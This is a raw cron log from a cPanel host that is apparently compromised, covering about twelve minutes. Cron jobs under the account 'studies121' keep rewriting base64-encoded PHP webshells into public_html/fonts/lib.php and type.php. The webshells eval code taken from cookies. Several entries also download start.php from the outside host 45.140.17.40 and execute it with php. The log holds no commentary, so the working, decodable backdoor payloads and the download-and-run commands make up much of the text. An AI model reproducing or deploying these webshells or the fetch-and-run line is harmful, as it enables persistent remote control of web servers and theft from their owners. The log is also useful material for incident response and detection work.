Sep  3 02:33:01 ip-184-168-122-23 CROND[17723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:33:01 ip-184-168-122-23 CROND[17724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:33:01 ip-184-168-122-23 CROND[17730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:33:01 ip-184-168-122-23 CROND[17729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:34:01 ip-184-168-122-23 CROND[17808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:34:01 ip-184-168-122-23 CROND[17809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:34:01 ip-184-168-122-23 CROND[17812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:34:01 ip-184-168-122-23 CROND[17816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:34:01 ip-184-168-122-23 CROND[17815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17910]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17906]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:35:01 ip-184-168-122-23 CROND[17905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:36:01 ip-184-168-122-23 CROND[18091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:36:01 ip-184-168-122-23 CROND[18093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:36:01 ip-184-168-122-23 CROND[18095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:36:01 ip-184-168-122-23 CROND[18096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:36:01 ip-184-168-122-23 CROND[18097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:37:01 ip-184-168-122-23 CROND[18189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:37:01 ip-184-168-122-23 CROND[18191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:37:01 ip-184-168-122-23 CROND[18192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:37:01 ip-184-168-122-23 CROND[18193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:38:01 ip-184-168-122-23 CROND[18331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:38:01 ip-184-168-122-23 CROND[18334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:38:01 ip-184-168-122-23 CROND[18333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:38:01 ip-184-168-122-23 CROND[18335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:38:01 ip-184-168-122-23 CROND[18336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:39:01 ip-184-168-122-23 CROND[18414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:39:01 ip-184-168-122-23 CROND[18415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:39:01 ip-184-168-122-23 CROND[18416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:39:01 ip-184-168-122-23 CROND[18419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:39:01 ip-184-168-122-23 CROND[18421]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 02:40:01 ip-184-168-122-23 CROND[18510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:40:01 ip-184-168-122-23 CROND[18512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:40:01 ip-184-168-122-23 CROND[18513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:40:01 ip-184-168-122-23 CROND[18516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:40:01 ip-184-168-122-23 CROND[18521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:40:01 ip-184-168-122-23 CROND[18520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:40:01 ip-184-168-122-23 CROND[18519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:40:01 ip-184-168-122-23 CROND[18523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:41:01 ip-184-168-122-23 CROND[18608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:41:01 ip-184-168-122-23 CROND[18610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:41:01 ip-184-168-122-23 CROND[18611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:41:01 ip-184-168-122-23 CROND[18612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:42:01 ip-184-168-122-23 CROND[18795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:42:01 ip-184-168-122-23 CROND[18797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:42:01 ip-184-168-122-23 CROND[18799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:42:01 ip-184-168-122-23 CROND[18798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:42:01 ip-184-168-122-23 CROND[18800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:43:01 ip-184-168-122-23 CROND[18887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:43:01 ip-184-168-122-23 CROND[18889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:43:01 ip-184-168-122-23 CROND[18890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:43:01 ip-184-168-122-23 CROND[18891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:44:01 ip-184-168-122-23 CROND[18971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:44:01 ip-184-168-122-23 CROND[18972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:44:01 ip-184-168-122-23 CROND[18974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:44:01 ip-184-168-122-23 CROND[18975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:44:01 ip-184-168-122-23 CROND[18976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:45:01 ip-184-168-122-23 CROND[19091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
